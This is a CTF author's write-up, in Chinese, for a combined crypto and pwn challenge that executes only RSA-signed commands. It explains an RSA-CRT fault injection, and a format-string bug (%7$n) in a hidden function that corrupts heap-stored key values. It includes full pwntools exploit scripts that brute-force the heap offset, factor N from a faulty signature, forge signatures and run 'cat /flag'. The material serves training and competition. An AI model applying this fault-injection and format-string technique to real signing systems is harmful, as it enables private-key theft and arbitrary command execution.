前言

本题源码改自于2022 Samsung的SecureRunner

本题是一道二进制分析密码学相结合的题,笔者认为出这种题还是很有趣的。

本题暂已托管至西安电子科技大学CTF终端供大家练习复现

链接:NPC²CTF 2025 - 西电 CTF 终端

其余用途均需通过 关于笔者 中的邮箱征得笔者同意

题目编写

源码

源码会开源到我的github仓库

解题步骤

题目描述

小睦的大脑里只有签名正确的命令才能执行,可小睦睡着了,Mortis 太 fw 了不知道私钥。

看来只能和 Mortis 把脑内小剧场破坏的乱七八糟才能拿 flag 了

(简单 Crypto + 签到 PWN = 也许还行的大粪 CRYpwnTO)(需要一点基础的二进制分析能力)

为了降低难度,把这题的密码考点(RSA-CRT Fault Injection)单独编了一个题(即task.zip中的just_a_hint.py)作为提示

靶机连接

Pasted image 20250410155637

连上靶机后忽略没什么用的剧情,结合文字信息和对各种选项的尝试,可以提炼出以下要点

  • 选项1可以获取RSA公钥
  • 选项2可以执行命令,但同时需要输入命令和这条命令正确的signature
  • 选项 3 给了一些 hint
    • RSA 算法使用了 CRT 对计算进行了加速
    • Mortis 会给一些帮助(对应只能用 1 次的选项 114)(彩蛋:1 月 14 日是睦子米的生日哦)
    • 有什么东西藏起来了(IDA 打开会发现一个隐藏的函数 yada,选项 9999
  • 选项114可以让Mortis提供2条指令中任意1条签名,但程序每次运行只能选1次114

总结本题是一个命令执行器,但是每条指令都需要用私钥正确签名才能执行,所以我们的目标是拿到私钥,归根结底是要成功分解N。

分析 just_a_hint.py

核心是hintGenerate函数,模仿了RSA-CRT Fault Injection的过程(即使)生成了一个hint

def hintGenetare(p,q,d):
m=bytes_to_long(b"Just a hint")
q= q ^ (0xff << randint(1, 128))
dp = d % (p - 1)
dq = d % (q - 1)
sp = pow(m, dp, p)
sq = pow(m, dq, q)
a = q * pow(q, -1, p)
b = p * pow(p, -1, q)
hint = (a*sp +b*sq)% n

return hint

解决本题的关键代码实际上就一行,p = GCD(pow(hint, e) - m, n)
具体原理大家直接搜索RSA-CRT Fault Injection即可,下图是我胡乱谷歌出来的一篇论文⬇️Pasted image 20250410221039

用 CRT 加速 RSA 计算的话,如果过程中出现上面论文图中所述错误,得到一个错误的签名 s 我们就可以如上图所示 p = GCD(pow(s, e) - m, n) 分解 n,算出私钥,进而伪造 signature。

如果是传统附件密码题的话,我应该用一个函数模拟计算出错,算出一个数字(hint=……),然后直 print 给你,你再算出私钥。但是这样就完全没有“故障注入”的感觉了,用 Pwn 的手段来实现的话,没有 hint 就自己创造 hint,更贴近实战的感觉。

至此,成功分解$p,q$,解密msg已经是轻轻松松,但注释也说了这只是一个hint,和答案没什么关系,只是给题目主体指明解题方向

根据选项 3 提供的hint,程序也使用了 RSA-CRT,如果我们对程序中的RSA参数也进行Fault Injection,那就能分解p和q,那拿私钥就可以说是信手拈来了,进而伪造小睦签名的 signature 执行任意命令

分析二进制文件

本题main函数通过IDA反编译后可以说是逻辑相当清晰

int __fastcall main(int argc, const char **argv, const char **envp)
{
int n9; // [rsp+4h] [rbp-BCh]
unsigned int v5; // [rsp+8h] [rbp-B8h]
int v6; // [rsp+Ch] [rbp-B4h]
_BYTE v7[168]; // [rsp+10h] [rbp-B0h] BYREF
unsigned __int64 v8; // [rsp+B8h] [rbp-8h]

v8 = __readfsqword(0x28u);
v5 = 0;
v6 = 0;
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
initRSA(v7);
heap = (__int64)malloc(0x100uLL);
generateKey(v7);
welcome();
do
{
n9 = menu();
if ( n9 == 9999 )
{
yada();
}
else if ( n9 <= 9999 )
{
if ( n9 == 114 )
{
if ( v6 <= 0 )
{
v5 = MortisHelp(v5);
generateSign((&cmds)[v5], v7);
++v6;
}
else
{
puts("get the hell out of here , Mortis!!!");
n9 = 9;
}
}
else if ( n9 <= 114 )
{
if ( n9 == 3 )
{
hint();
}
else if ( n9 <= 3 )
{
if ( n9 == 1 )
{
printRSA((__int64)v7);
}
else if ( n9 == 2 )
{
verifyAndRun(v7);
}
}
}
}
}
while ( n9 != 9 );
deleteRSA(v7);
return 0;
}

实时计算的公钥N

明显看到n是两个1024位的大数实时相乘,即选项 1 打印 n=p*q 是实时计算的,可以用作验证Fault Injection是否成功

$16*64=1024$
Pasted image 20250410154529

RSA密码算法由GNU的GMP库实现

gmp 库中 的$n,e,p,q$中这类大数字会存在堆中,只要能有在堆上修改内存的手段就可以攻击成功

隐藏函数yada()存在格式化字符串漏洞

专门给了一个堆指针,还能随便改堆指针指向的位置
经过gdb动态调试,可以得知堆指针在上和格式化字符串p偏移为7
再用格式化字符串实现堆上的任意地址写(%7$n
只需要知道RSA参数的在堆中的正确位置即可打出故障注入,拿到私钥,执行任意命令

Pasted image 20250410154831

解题思路

  1. 选项 1 先获取一个 $n$
  2. 利用 yada() 尝试 fault injection,要爆破 rsa 参数的位置
  3. 选项 1 检测 $n$ 和原来 的 $n$ 是否相同,如果不同则说明 inject 成功
  4. 这个时候 $p$ 和 $q$已经有一个被玩坏了。选项 114 算一个错误签名 $s$,然后 p = GCD(pow(s, e) - m, n),算出私钥
  5. 伪造 signature,随便执行你想要的命令

EXP

先在本地找到正确的 offset

from pwn import *
from Crypto.Util.number import bytes_to_long, GCD

def try_offset(offset):

def choice(num):
r.sendlineafter(b"> ", str(num).encode())
def get_pubkey():
choice(1)
r.recvuntil(b"n = ")
n = int(r.recvline().strip())
r.recvuntil(b"e = ")
e = int(r.recvline().strip())
return n, e
def injectFault(offset):
choice(9999)
sleep(0.1)
r.sendline(str(offset).encode())
sleep(0.1)
r.sendline(b"%7$n")
sleep(0.1)

r=process("./challenge")
print(f"Trying offset: {offset}")
n,e=get_pubkey()
injectFault(offset)
new_n,e=get_pubkey()
if new_n != n:
print(f"Found offset: {offset}")
pause()

offset=0
step=1024//8-1
while True:
try:
try_offset(offset)
try_offset(-offset)
offset += step
except Exception as e:
print(f"Error: {e}")
continue

#Trying offset: -2413
#Found offset: -2413
#[*] Paused (press any to continue)

最后打一个远程

from pwn import *
from Crypto.Util.number import bytes_to_long, GCD

#r=process("./challenge")
r=remote("", )
def choice(num):
r.sendlineafter(b"> ", str(num).encode())

def get_pubkey():
choice(1)
r.recvuntil(b"n = ")
n = int(r.recvline().strip())
r.recvuntil(b"e = ")
e = int(r.recvline().strip())
return n, e

def injectFault(offset):
choice(9999)
sleep(0.1)
r.sendline(str(offset).encode())
sleep(0.1)
r.sendline(b"%7$n")
sleep(0.1)

def CallMortis():
choice(114)
r.sendlineafter(b"> ", str(0).encode())
r.recvuntil(b"sign = ")
sign = int(r.recvline().strip())
return sign

def Execute(n,e,s,cmd):
choice(2)
m = bytes_to_long(b"ls -la /")
p = GCD(pow(s, e, n) - m, n)
q = n // p
assert(p * q == n)
d = pow(e, -1, (p - 1) * (q - 1))
sign = pow(bytes_to_long(cmd), d, n)
r.sendlineafter(b"> ",cmd)
r.sendlineafter(b"> ",str(sign).encode())

n,e=get_pubkey()
success(b"n=")
print(n)
success(b"e=")
print(e)

injectFault(-2413)

s=CallMortis()
success(b"s=")
print(s)

cmd = b"cat /flag"
Execute(n,e,s,cmd)

r.interactive()

后记

这道题不论是密码的部分还是二进制的部分,拆看单独看的话最多是个签到/简单难度,但合在一块就可能会很难了,毕竟跨方向。

出题人其实也在考虑这题是放在Crypto还是Misc好,但是PWN的部分实在是太签到了,还是放在Crypto里面吧,培养一下选手们的综合能力,别骂我😭

最后也是让大家爆零了,题目质量可以说是好坏二象性。可能真的需要二进制、密码双修的同学才能完成

不过也学到了一种出题思路……